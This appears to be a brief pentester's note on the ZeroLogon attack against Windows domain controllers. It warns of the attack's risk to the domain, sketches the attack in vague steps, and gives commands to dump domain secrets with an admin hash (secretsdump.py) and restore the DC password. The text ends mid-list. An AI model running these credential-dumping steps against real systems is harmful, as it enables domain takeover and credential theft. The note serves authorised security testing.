Definition
ZeroLogon is a VERY DANGEROUS attack which can destroy the whole domain, and the reason behind this because it sets the authentication of the DC to null. If the attack is not executed (AND RETRIEVED) properly, the DC (and the whole domain consecutively) will be destroyed.
Executing ZeroLogon
- Check if the DC is vulnerable to ZeroLogon
- Run the CVE
- Execute the attack
- Restoring the DC password (MOST IMPORTANT PART!)
- run
python3 secretsdump.py administartor@<dc-ip> -hashes <admin-hash>
- Copy the
plain_password_hex
- Run the
restorepassword.py
script:python3 restorepassword.py <domain-name>/<dc-pc-name>@<dc-pc-name> -target-ip <dc-ip> -hexpass <plain_password_hex>
- run